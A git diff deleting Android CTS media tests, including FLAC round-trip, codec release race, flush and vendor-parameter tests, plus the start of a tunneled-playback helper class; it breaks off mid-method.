-                    ByteBuffer buf = mCodec.getInputBuffer(index);
-                    buf.clear();
-                    int inBufLen = buf.limit();
-                    int numRead = 0;
-                    long timestampUs = 0; // non-zero for MediaExtractor mode
-                    if (mExtractor != null) {
-                        numRead = mExtractor.readSampleData(buf, 0 /* offset */);
-                        timestampUs = mExtractor.getSampleTime();
-                        Log.v(TAG, "MediaCodecStream.read using Extractor, numRead "
-                                + numRead +" timestamp " + timestampUs);
-                        mExtractor.advance();
-                        if(numRead < 0) {
-                           mSawInputEOS = true;
-                           timestampUs = 0;
-                           numRead =0;
-                        }
-                    } else if (mBufferInputStream != null) {
-                        ByteBuffer in = null;
-                        do {
-                            in = mBufferInputStream.read();
-                        } while (in != null && in.limit() - in.position() == 0);
-                        if (in == null) {
-                            mSawInputEOS = true;
-                        } else {
-                            final int n = in.limit() - in.position();
-                            numRead += n;
-                            buf.put(in);
-                        }
-                    } else if (mInputStream != null) {
-                        if (mBuf == null) {
-                            mBuf = new byte[inBufLen];
-                        }
-                        for (numRead = 0; numRead < inBufLen; ) {
-                            int n = mInputStream.read(mBuf, numRead, inBufLen - numRead);
-                            if (n == -1) {
-                                mSawInputEOS = true;
-                                break;
-                            }
-                            numRead += n;
-                        }
-                        buf.put(mBuf, 0, numRead);
-                    } else {
-                        fail("no input");
-                    }
-
-                    int flags = mSawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0;
-                    if (!mEncode && !mSentConfig && mExtractor == null) {
-                        flags |= MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
-                        mSentConfig = true;
-                    }
-                    Log.i(TAG, "queuing input buffer " + index +
-                            ", size " + numRead + ", flags: " + flags +
-                            " on " + mCodec.getName());
-                    mCodec.queueInputBuffer(index,
-                            0 /* offset */,
-                            numRead,
-                            timestampUs /* presentationTimeUs */,
-                            flags);
-                    Log.i(TAG, "queued input buffer " + index + ", size " + numRead);
-                }
-            }
-
-            // now read data from the codec
-            Log.i(TAG, "reading from " + mCodec.getName());
-            int index = mCodec.dequeueOutputBuffer(mInfo, 5000);
-            if (index >= 0) {
-                Log.i(TAG, "got " + mInfo.size + " bytes from " + mCodec.getName());
-                ByteBuffer out = mCodec.getOutputBuffer(index);
-                ByteBuffer ret = ByteBuffer.allocate(mInfo.size);
-                ret.put(out);
-                mCodec.releaseOutputBuffer(index,  false /* render */);
-                if ((mInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.i(TAG, "saw output EOS on " + mCodec.getName());
-                    mSawOutputEOS = true;
-                }
-                ret.flip(); // prepare buffer for reading from it
-                // XXX chck that first encoded buffer has CSD flags set
-                if (mEncode && mBufCounter++ == 0 && (mInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-                    fail("first encoded buffer missing CSD flag");
-                }
-                return ret;
-            } else if (index == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                Log.i(TAG, mCodec.getName() + " new format: " + mCodec.getOutputFormat());
-            }
-            return ByteBuffer.allocate(0);
-        }
-
-        @Override
-        public void close() throws IOException {
-            try {
-                if (mInputStream != null) {
-                    mInputStream.close();
-                }
-            } finally {
-                mInputStream = null;
-                try {
-                    if (mCodec != null) {
-                        mCodec.release();
-                    }
-                } finally {
-                    mCodec = null;
-                }
-            }
-        }
-
-        @Override
-        protected void finalize() throws Throwable {
-            if (mCodec != null) {
-                Log.w(TAG, "MediaCodecInputStream wasn't closed");
-                mCodec.release();
-            }
-        }
-    };
-
-    /* package */ static class ByteBufferInputStream extends InputStream {
-        ByteBufferStream mInput;
-        ByteBuffer mBuffer;
-
-        public ByteBufferInputStream(ByteBufferStream in) {
-            mInput = in;
-            mBuffer = ByteBuffer.allocate(0);
-        }
-
-        @Override
-        public int read() throws IOException {
-            while (mBuffer != null && !mBuffer.hasRemaining()) {
-                Log.i(TAG, "reading buffer");
-                mBuffer = mInput.read();
-            }
-
-            if (mBuffer == null) {
-                return -1;
-            }
-
-            return (0xff & mBuffer.get());
-        }
-    };
-
-    /* package */ static class PcmAudioBufferStream extends ByteBufferStream {
-
-        public int mCount;         // either 0 or 1 if the buffer has been delivered
-        public ByteBuffer mBuffer; // the audio buffer (furnished duplicated, read only).
-
-        public PcmAudioBufferStream(
-            int samples, int sampleRate, double frequency, double sweep, boolean useFloat) {
-            final int sampleSize = useFloat ? 4 : 2;
-            final int sizeInBytes = samples * sampleSize;
-            mBuffer = ByteBuffer.allocate(sizeInBytes);
-            mBuffer.order(java.nio.ByteOrder.nativeOrder());
-            if (useFloat) {
-                FloatBuffer fb = mBuffer.asFloatBuffer();
-                float[] fa = AudioHelper.createSoundDataInFloatArray(
-                    samples, sampleRate, frequency, sweep);
-                for (int i = 0; i < fa.length; ++i) {
-                    // quantize to a Q.23 integer so that identity is preserved
-                    fa[i] = (float)((int)(fa[i] * ((1 << 23) - 1))) / (1 << 23);
-                }
-                fb.put(fa);
-            } else {
-                ShortBuffer sb = mBuffer.asShortBuffer();
-                sb.put(AudioHelper.createSoundDataInShortArray(
-                    samples, sampleRate, frequency, sweep));
-            }
-            mBuffer.limit(sizeInBytes);
-        }
-
-        // duplicating constructor
-        public PcmAudioBufferStream(PcmAudioBufferStream other) {
-            mCount = 0;
-            mBuffer = other.mBuffer; // ok to copy, furnished read-only
-        }
-
-        public int sizeInBytes() {
-            return mBuffer.capacity();
-        }
-
-        @Override
-        public ByteBuffer read() throws IOException {
-            if (mCount < 1 /* only one buffer */) {
-                ++mCount;
-                return mBuffer.asReadOnlyBuffer();
-            }
-            return null;
-        }
-    }
-
-    /* package */ static int compareStreams(InputStream test, InputStream reference) {
-        Log.i(TAG, "compareStreams");
-        BufferedInputStream buffered_test = new BufferedInputStream(test);
-        BufferedInputStream buffered_reference = new BufferedInputStream(reference);
-        int numread = 0;
-        try {
-            while (true) {
-                int b1 = buffered_test.read();
-                int b2 = buffered_reference.read();
-                if (b1 != b2) {
-                    Log.e(TAG, "streams differ at " + numread + ": " + b1 + "/" + b2);
-                    return -1;
-                }
-                if (b1 == -1) {
-                    Log.e(TAG, "streams ended at " + numread);
-                    break;
-                }
-                numread++;
-            }
-        } catch (Exception e) {
-            Log.e(TAG, "read error", e);
-            return -1;
-        }
-        Log.i(TAG, "compareStreams read " + numread);
-        return numread;
-    }
-
-    @SmallTest
-    public void testFlacIdentity() throws Exception {
-        final int PCM_FRAMES = 1152 * 4; // FIXME: requires 4 flac frames to work with OMX codecs.
-        final int SAMPLES = PCM_FRAMES * AUDIO_CHANNEL_COUNT;
-        final int[] SAMPLE_RATES = {AUDIO_SAMPLE_RATE, 192000}; // ensure 192kHz supported.
-
-        for (int sampleRate : SAMPLE_RATES) {
-            final MediaFormat format = new MediaFormat();
-            format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_FLAC);
-            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, sampleRate);
-            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, AUDIO_CHANNEL_COUNT);
-
-            Log.d(TAG, "Trying sample rate: " + sampleRate
-                    + " channel count: " + AUDIO_CHANNEL_COUNT);
-            // this key is only needed for encode, ignored for decode
-            format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 5);
-
-            for (int i = 0; i < 2; ++i) {
-                final boolean useFloat = (i == 1);
-                final PcmAudioBufferStream audioStream = new PcmAudioBufferStream(
-                    SAMPLES, sampleRate, 1000 /* frequency */, 100 /* sweep */, useFloat);
-
-                if (useFloat) {
-                    format.setInteger(
-                        MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_FLOAT);
-                }
-
-                final MediaCodecStream rawToFlac = new MediaCodecStream(
-                    new ByteBufferInputStream(audioStream), format, true /* encode */);
-                final MediaCodecStream flacToRaw = new MediaCodecStream(
-                    rawToFlac, format, false /* encode */);
-
-                if (useFloat) { // ensure float precision supported at the sample rate.
-                    assertTrue("No float FLAC encoder at " + sampleRate,
-                            rawToFlac.mIsFloat);
-                    assertTrue("No float FLAC decoder at " + sampleRate,
-                            flacToRaw.mIsFloat);
-                }
-
-                // Note: the existence of signed zero (as well as NAN) may make byte
-                // comparisons invalid for floating point output. In our case, since the
-                // floats come through integer to float conversion, it does not matter.
-                assertEquals("Audio data not identical after compression",
-                    audioStream.sizeInBytes(),
-                    compareStreams(new ByteBufferInputStream(flacToRaw),
-                        new ByteBufferInputStream(new PcmAudioBufferStream(audioStream))));
-            }
-        }
-    }
-
-    public void testAsyncRelease() throws Exception {
-        OutputSurface outputSurface = new OutputSurface(1, 1);
-        MediaExtractor mediaExtractor = getMediaExtractorForMimeType(INPUT_RESOURCE, "video/");
-        MediaFormat mediaFormat =
-                mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
-        String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
-        for (int i = 0; i < 100; ++i) {
-            final MediaCodec codec = MediaCodec.createDecoderByType(mimeType);
-
-            try {
-                final ConditionVariable cv = new ConditionVariable();
-                Runnable first = null;
-                switch (i % 5) {
-                    case 0:  // release
-                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
-                        codec.start();
-                        first = () -> { cv.block(); codec.release(); };
-                        break;
-                    case 1:  // start
-                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
-                        first = () -> {
-                            cv.block();
-                            try {
-                                codec.start();
-                            } catch (Exception e) {
-                                Log.i(TAG, "start failed", e);
-                            }
-                        };
-                        break;
-                    case 2:  // configure
-                        first = () -> {
-                            cv.block();
-                            try {
-                                codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
-                            } catch (Exception e) {
-                                Log.i(TAG, "configure failed", e);
-                            }
-                        };
-                        break;
-                    case 3:  // stop
-                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
-                        codec.start();
-                        first = () -> {
-                            cv.block();
-                            try {
-                                codec.stop();
-                            } catch (Exception e) {
-                                Log.i(TAG, "stop failed", e);
-                            }
-                        };
-                        break;
-                    case 4:  // flush
-                        codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
-                        codec.start();
-                        codec.dequeueInputBuffer(0);
-                        first = () -> {
-                            cv.block();
-                            try {
-                                codec.flush();
-                            } catch (Exception e) {
-                                Log.i(TAG, "flush failed", e);
-                            }
-                        };
-                        break;
-                }
-
-                Thread[] threads = new Thread[10];
-                threads[0] = new Thread(first);
-                for (int j = 1; j < threads.length; ++j) {
-                    threads[j] = new Thread(() -> { cv.block(); codec.release(); });
-                }
-                for (Thread thread : threads) {
-                    thread.start();
-                }
-                // Wait a little bit so that threads may reach block() call.
-                Thread.sleep(50);
-                cv.open();
-                for (Thread thread : threads) {
-                    thread.join();
-                }
-            } finally {
-                codec.release();
-            }
-        }
-    }
-
-    public void testSetAudioPresentation() throws Exception {
-        MediaFormat format = MediaFormat.createAudioFormat(
-                MediaFormat.MIMETYPE_AUDIO_MPEG, 44100 /* sampleRate */, 2 /* channelCount */);
-        String mimeType = format.getString(MediaFormat.KEY_MIME);
-        MediaCodec codec = createCodecByType(
-                format.getString(MediaFormat.KEY_MIME), false /* isEncoder */);
-        assertNotNull(codec);
-        assertThrows(NullPointerException.class, () -> {
-            codec.setAudioPresentation(null);
-        });
-        codec.setAudioPresentation(
-                (new AudioPresentation.Builder(42 /* presentationId */)).build());
-    }
-
-    public void testPrependHeadersToSyncFrames() throws IOException {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            boolean isEncoder = info.isEncoder();
-            for (String mime: info.getSupportedTypes()) {
-                CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                boolean isVideo = (caps.getVideoCapabilities() != null);
-                boolean isAudio = (caps.getAudioCapabilities() != null);
-
-                MediaCodec codec = null;
-                MediaFormat format = null;
-                try {
-                    codec = MediaCodec.createByCodecName(info.getName());
-                    if (isVideo) {
-                        VideoCapabilities vcaps = caps.getVideoCapabilities();
-                        int minWidth = vcaps.getSupportedWidths().getLower();
-                        int minHeight = vcaps.getSupportedHeightsFor(minWidth).getLower();
-                        int minBitrate = vcaps.getBitrateRange().getLower();
-                        int minFrameRate = Math.max(vcaps.getSupportedFrameRatesFor(
-                                minWidth, minHeight) .getLower().intValue(), 1);
-                        format = MediaFormat.createVideoFormat(mime, minWidth, minHeight);
-                        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, caps.colorFormats[0]);
-                        format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
-                        format.setInteger(MediaFormat.KEY_FRAME_RATE, minFrameRate);
-                        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-                    } else if(isAudio){
-                        AudioCapabilities acaps = caps.getAudioCapabilities();
-                        int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
-                        int minChannelCount = 1;
-                        if (mIsAtLeastS) {
-                            minChannelCount = acaps.getMinInputChannelCount();
-                        }
-                        int minBitrate = acaps.getBitrateRange().getLower();
-                        format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
-                        format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
-                    }
-
-                    if (isVideo || isAudio) {
-                        format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1);
-
-                        codec.configure(format, null /* surface */, null /* crypto */,
-                            isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0);
-                    }
-                    if (isVideo && isEncoder) {
-                        Log.i(TAG, info.getName() + " supports KEY_PREPEND_HEADER_TO_SYNC_FRAMES");
-                    } else {
-                        Log.i(TAG, info.getName() + " is not a video encoder, so" +
-                                " KEY_PREPEND_HEADER_TO_SYNC_FRAMES is no-op, as expected");
-                    }
-                    // TODO: actually test encoders prepend the headers to sync frames.
-                } catch (IllegalArgumentException | CodecException e) {
-                    if (isVideo && isEncoder) {
-                        Log.i(TAG, info.getName() + " does not support" +
-                                " KEY_PREPEND_HEADER_TO_SYNC_FRAMES");
-                    } else {
-                        fail(info.getName() + " is not a video encoder," +
-                                " so it should not fail to configure.\n" + e.toString());
-                    }
-                } finally {
-                    if (codec != null) {
-                        codec.release();
-                    }
-                }
-            }
-        }
-    }
-
-    /**
-     * Test if flushing early in the playback does not prevent client from getting the
-     * latest configuration. Empirically, this happens most often when the
-     * codec is flushed after the first buffer is queued, so this test walks
-     * through the scenario.
-     */
-    public void testFlushAfterFirstBuffer() throws Exception {
-        if (MediaUtils.check(mIsAtLeastR, "test needs Android 11")) {
-            for (int i = 0; i < 100; ++i) {
-                doFlushAfterFirstBuffer();
-            }
-        }
-    }
-
-    private void doFlushAfterFirstBuffer() throws Exception {
-        MediaExtractor extractor = null;
-        MediaCodec codec = null;
-
-        try {
-            MediaFormat newFormat = null;
-            extractor = getMediaExtractorForMimeType(
-                    "noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a", "audio/");
-            int trackIndex = extractor.getSampleTrackIndex();
-            MediaFormat format = extractor.getTrackFormat(trackIndex);
-            codec = createCodecByType(
-                    format.getString(MediaFormat.KEY_MIME), false /* isEncoder */);
-            codec.configure(format, null, null, 0);
-            codec.start();
-            int firstInputIndex = codec.dequeueInputBuffer(0);
-            while (firstInputIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                firstInputIndex = codec.dequeueInputBuffer(5000);
-            }
-            assertTrue(firstInputIndex >= 0);
-            extractor.readSampleData(codec.getInputBuffer(firstInputIndex), 0);
-            codec.queueInputBuffer(
-                    firstInputIndex, 0, Math.toIntExact(extractor.getSampleSize()),
-                    extractor.getSampleTime(), extractor.getSampleFlags());
-            // Don't advance, so the first buffer will be read again after flush
-            codec.flush();
-            ByteBuffer csd = format.getByteBuffer("csd-0");
-            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-            // We don't need to decode many frames
-            int numFrames = 10;
-            boolean eos = false;
-            while (!eos) {
-                if (numFrames > 0) {
-                    int inputIndex = codec.dequeueInputBuffer(0);
-                    if (inputIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                        inputIndex = codec.dequeueInputBuffer(5000);
-                    }
-                    if (inputIndex >= 0) {
-                        ByteBuffer inputBuffer = codec.getInputBuffer(inputIndex);
-                        if (csd != null) {
-                            inputBuffer.clear();
-                            inputBuffer.put(csd);
-                            codec.queueInputBuffer(
-                                    inputIndex, 0, inputBuffer.position(), 0,
-                                    MediaCodec.BUFFER_FLAG_CODEC_CONFIG);
-                            csd = null;
-                        } else {
-                            int size = extractor.readSampleData(inputBuffer, 0);
-                            if (size <= 0) {
-                                break;
-                            }
-                            int flags = extractor.getSampleFlags();
-                            --numFrames;
-                            if (numFrames <= 0) {
-                                flags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                            }
-                            codec.queueInputBuffer(
-                                    inputIndex, 0, size, extractor.getSampleTime(), flags);
-                            extractor.advance();
-                        }
-                    }
-                }
-
-                int outputIndex = codec.dequeueOutputBuffer(bufferInfo, 0);
-                if (outputIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    outputIndex = codec.dequeueOutputBuffer(bufferInfo, 5000);
-                }
-                if (outputIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    newFormat = codec.getOutputFormat();
-                } else if (outputIndex >= 0) {
-                    if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        eos = true;
-                    }
-                    codec.releaseOutputBuffer(outputIndex, false);
-                }
-            }
-            assertNotNull(newFormat);
-            assertEquals(48000, newFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-        } finally {
-            if (extractor != null) {
-                extractor.release();
-            }
-            if (codec != null) {
-                codec.stop();
-                codec.release();
-            }
-        }
-    }
-
-    public void testVendorParameters() {
-        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) {
-            return;
-        }
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (info.isAlias()) {
-                continue;
-            }
-            MediaCodec codec = null;
-            try {
-                codec = MediaCodec.createByCodecName(info.getName());
-                List<String> vendorParams = codec.getSupportedVendorParameters();
-                if (VERBOSE) {
-                    Log.d(TAG, "vendor params supported by " + info.getName() + ": " +
-                            vendorParams.toString());
-                }
-                for (String name : vendorParams) {
-                    MediaCodec.ParameterDescriptor desc = codec.getParameterDescriptor(name);
-                    assertNotNull(name + " is in the list of supported parameters, so the codec" +
-                            " should be able to describe it.", desc);
-                    assertEquals("name differs from the name in the descriptor",
-                            name, desc.getName());
-                    assertTrue("type in the descriptor cannot be TYPE_NULL",
-                            MediaFormat.TYPE_NULL != desc.getType());
-                    if (VERBOSE) {
-                        Log.d(TAG, name + " is of type " + desc.getType());
-                    }
-                }
-                codec.subscribeToVendorParameters(vendorParams);
-
-                // Build a MediaFormat that makes sense to the codec.
-                String type = info.getSupportedTypes()[0];
-                MediaFormat format = null;
-                CodecCapabilities caps = info.getCapabilitiesForType(type);
-                AudioCapabilities audioCaps = caps.getAudioCapabilities();
-                VideoCapabilities videoCaps = caps.getVideoCapabilities();
-                if (audioCaps != null) {
-                    format = MediaFormat.createAudioFormat(
-                            type,
-                            audioCaps.getSupportedSampleRateRanges()[0].getLower(),
-                            audioCaps.getMaxInputChannelCount());
-                    if (info.isEncoder()) {
-                        format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
-                    }
-                } else if (videoCaps != null) {
-                    int width = videoCaps.getSupportedWidths().getLower();
-                    int height = videoCaps.getSupportedHeightsFor(width).getLower();
-                    format = MediaFormat.createVideoFormat(type, width, height);
-                    if (info.isEncoder()) {
-                        EncoderCapabilities encCaps = caps.getEncoderCapabilities();
-                        if (encCaps != null) {
-                            int bitrateMode = -1;
-                            List<Integer> candidates = Arrays.asList(
-                                    EncoderCapabilities.BITRATE_MODE_CBR,
-                                    EncoderCapabilities.BITRATE_MODE_CQ,
-                                    EncoderCapabilities.BITRATE_MODE_CBR_FD,
-                                    // TODO: temporary workaround;
-                                    //       isBitrateModeSupported(VBR) always returns true
-                                    //       for video encoders in Android 12/12L
-                                    EncoderCapabilities.BITRATE_MODE_VBR);
-                            for (int candidate : candidates) {
-                                if (encCaps.isBitrateModeSupported(candidate)) {
-                                    bitrateMode = candidate;
-                                    break;
-                                }
-                            }
-                            if (VERBOSE) {
-                                Log.d(TAG, "video encoder: bitrate mode = " + bitrateMode);
-                            }
-                            format.setInteger(MediaFormat.KEY_BITRATE_MODE, bitrateMode);
-                            switch (bitrateMode) {
-                            case EncoderCapabilities.BITRATE_MODE_VBR:
-                            case EncoderCapabilities.BITRATE_MODE_CBR:
-                            case EncoderCapabilities.BITRATE_MODE_CBR_FD:
-                                format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
-                                break;
-                            case EncoderCapabilities.BITRATE_MODE_CQ:
-                                format.setInteger(
-                                        MediaFormat.KEY_QUALITY,
-                                        encCaps.getQualityRange().getLower());
-                                if (VERBOSE) {
-                                    Log.d(TAG, "video encoder: quality = " +
-                                            encCaps.getQualityRange().getLower());
-                                }
-                                break;
-                            default:
-                                format.removeKey(MediaFormat.KEY_BITRATE_MODE);
-                            }
-                        }
-                        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-                        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-                        format.setInteger(
-                                MediaFormat.KEY_COLOR_FORMAT,
-                                CodecCapabilities.COLOR_FormatYUV420Flexible);
-                    }
-                } else {
-                    Log.i(TAG, info.getName() + " is in neither audio nor video domain; skipped");
-                    codec.release();
-                    continue;
-                }
-                codec.configure(
-                        format, null, null,
-                        info.isEncoder() ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
-                codec.start();
-                codec.unsubscribeFromVendorParameters(vendorParams);
-                codec.stop();
-            } catch (Exception e) {
-                throw new RuntimeException("codec name: " + info.getName(), e);
-            } finally {
-                if (codec != null) {
-                    codec.release();
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
deleted file mode 100644
index f8a3161..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ /dev/null
@@ -1,655 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.content.Context;
-import android.media.AudioTimestamp;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.net.Uri;
-import android.util.Log;
-import android.view.SurfaceHolder;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * JB(API 21) introduces {@link MediaCodec} tunneled mode API.  It allows apps
- * to use MediaCodec to delegate their Audio/Video rendering to a vendor provided
- * Codec component.
- */
-public class MediaCodecTunneledPlayer implements MediaTimeProvider {
-    private static final String TAG = MediaCodecTunneledPlayer.class.getSimpleName();
-
-    private static final int STATE_IDLE = 1;
-    private static final int STATE_PREPARING = 2;
-    private static final int STATE_PLAYING = 3;
-    private static final int STATE_PAUSED = 4;
-
-    private Boolean mThreadStarted = false;
-    private byte[] mSessionId;
-    private CodecState mAudioTrackState;
-    private int mMediaFormatHeight;
-    private int mMediaFormatWidth;
-    private Integer mState;
-    private long mDeltaTimeUs;
-    private long mDurationUs;
-    private Map<Integer, CodecState> mAudioCodecStates;
-    private Map<Integer, CodecState> mVideoCodecStates;
-    private Map<String, String> mAudioHeaders;
-    private Map<String, String> mVideoHeaders;
-    private MediaExtractor mAudioExtractor;
-    private MediaExtractor mVideoExtractor;
-    private SurfaceHolder mSurfaceHolder;
-    private Thread mThread;
-    private Uri mAudioUri;
-    private Uri mVideoUri;
-    private boolean mTunneled;
-    private int mAudioSessionId;
-    private Context mContext;
-
-    /*
-     * Media player class to playback video using tunneled MediaCodec.
-     */
-    public MediaCodecTunneledPlayer(Context context, SurfaceHolder holder, boolean tunneled, int AudioSessionId) {
-        mContext = context;
-        mSurfaceHolder = holder;
-        mTunneled = tunneled;
-        mAudioTrackState = null;
-        mState = STATE_IDLE;
-        mAudioSessionId = AudioSessionId;
-        mThread = new Thread(new Runnable() {
-            @Override
-            public void run() {
-                while (true) {
-                    synchronized (mThreadStarted) {
-                        if (mThreadStarted == false) {
-                            break;
-                        }
-                    }
-                    synchronized (mState) {
-                        if (mState == STATE_PLAYING) {
-                            doSomeWork();
-                            if (mAudioTrackState != null) {
-                                mAudioTrackState.processAudioTrack();
-                            }
-                        }
-                    }
-                    try {
-                        Thread.sleep(5);
-                    } catch (InterruptedException ex) {
-                        Log.d(TAG, "Thread interrupted");
-                    }
-                }
-            }
-        });
-    }
-
-    public void setAudioDataSource(Uri uri, Map<String, String> headers) {
-        mAudioUri = uri;
-        mAudioHeaders = headers;
-    }
-
-    public void setVideoDataSource(Uri uri, Map<String, String> headers) {
-        mVideoUri = uri;
-        mVideoHeaders = headers;
-    }
-
-    public final int getMediaFormatHeight() {
-        return mMediaFormatHeight;
-    }
-
-    public final int getMediaFormatWidth() {
-        return mMediaFormatWidth;
-    }
-
-    private boolean prepareAudio() throws IOException {
-        for (int i = mAudioExtractor.getTrackCount(); i-- > 0;) {
-            MediaFormat format = mAudioExtractor.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-
-            if (!mime.startsWith("audio/")) {
-                continue;
-            }
-
-            Log.d(TAG, "audio track #" + i + " " + format + " " + mime +
-                  " Is ADTS:" + getMediaFormatInteger(format, MediaFormat.KEY_IS_ADTS) +
-                  " Sample rate:" + getMediaFormatInteger(format, MediaFormat.KEY_SAMPLE_RATE) +
-                  " Channel count:" +
-                  getMediaFormatInteger(format, MediaFormat.KEY_CHANNEL_COUNT));
-
-            mAudioExtractor.selectTrack(i);
-            if (!addTrack(i, format)) {
-                Log.e(TAG, "prepareAudio - addTrack() failed!");
-                return false;
-            }
-
-            if (format.containsKey(MediaFormat.KEY_DURATION)) {
-                long durationUs = format.getLong(MediaFormat.KEY_DURATION);
-
-                if (durationUs > mDurationUs) {
-                    mDurationUs = durationUs;
-                }
-                Log.d(TAG, "audio track format #" + i +
-                        " Duration:" + mDurationUs + " microseconds");
-            }
-        }
-        return true;
-    }
-
-    private boolean prepareVideo() throws IOException {
-        for (int i = mVideoExtractor.getTrackCount(); i-- > 0;) {
-            MediaFormat format = mVideoExtractor.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-
-            if (!mime.startsWith("video/")) {
-                continue;
-            }
-
-            mMediaFormatHeight = getMediaFormatInteger(format, MediaFormat.KEY_HEIGHT);
-            mMediaFormatWidth = getMediaFormatInteger(format, MediaFormat.KEY_WIDTH);
-            Log.d(TAG, "video track #" + i + " " + format + " " + mime +
-                  " Width:" + mMediaFormatWidth + ", Height:" + mMediaFormatHeight);
-
-            mVideoExtractor.selectTrack(i);
-            if (!addTrack(i, format)) {
-                Log.e(TAG, "prepareVideo - addTrack() failed!");
-                return false;
-            }
-
-            if (format.containsKey(MediaFormat.KEY_DURATION)) {
-                long durationUs = format.getLong(MediaFormat.KEY_DURATION);
-
-                if (durationUs > mDurationUs) {
-                    mDurationUs = durationUs;
-                }
-                Log.d(TAG, "track format #" + i + " Duration:" +
-                        mDurationUs + " microseconds");
-            }
-        }
-        return true;
-    }
-
-    public boolean prepare() throws IOException {
-        if (null == mAudioExtractor) {
-            mAudioExtractor = new MediaExtractor();
-            if (null == mAudioExtractor) {
-                Log.e(TAG, "prepare - Cannot create Audio extractor.");
-                return false;
-            }
-        }
-
-        if (null == mVideoExtractor){
-            mVideoExtractor = new MediaExtractor();
-            if (null == mVideoExtractor) {
-                Log.e(TAG, "prepare - Cannot create Video extractor.");
-                return false;
-            }
-        }
-
-        mAudioExtractor.setDataSource(mContext, mAudioUri, mAudioHeaders);
-        mVideoExtractor.setDataSource(mContext, mVideoUri, mVideoHeaders);
-
-        if (null == mVideoCodecStates) {
-            mVideoCodecStates = new HashMap<Integer, CodecState>();
-        } else {
-            mVideoCodecStates.clear();
-        }
-
-        if (null == mAudioCodecStates) {
-            mAudioCodecStates = new HashMap<Integer, CodecState>();
-        } else {
-            mAudioCodecStates.clear();
-        }
-
-        if (!prepareAudio()) {
-            Log.e(TAG,"prepare - prepareAudio() failed!");
-            return false;
-        }
-        if (!prepareVideo()) {
-            Log.e(TAG,"prepare - prepareVideo() failed!");
-            return false;
-        }
-
-        synchronized (mState) {
-            mState = STATE_PAUSED;
-        }
-        return true;
-    }
-
-    private boolean addTrack(int trackIndex, MediaFormat format) throws IOException {
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        boolean isVideo = mime.startsWith("video/");
-        boolean isAudio = mime.startsWith("audio/");
-        MediaCodec codec;
-
-        // setup tunneled video codec if needed
-        if (isVideo && mTunneled) {
-            format.setFeatureEnabled(MediaCodecInfo.CodecCapabilities.FEATURE_TunneledPlayback,
-                        true);
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-            String codecName = mcl.findDecoderForFormat(format);
-            if (codecName == null) {
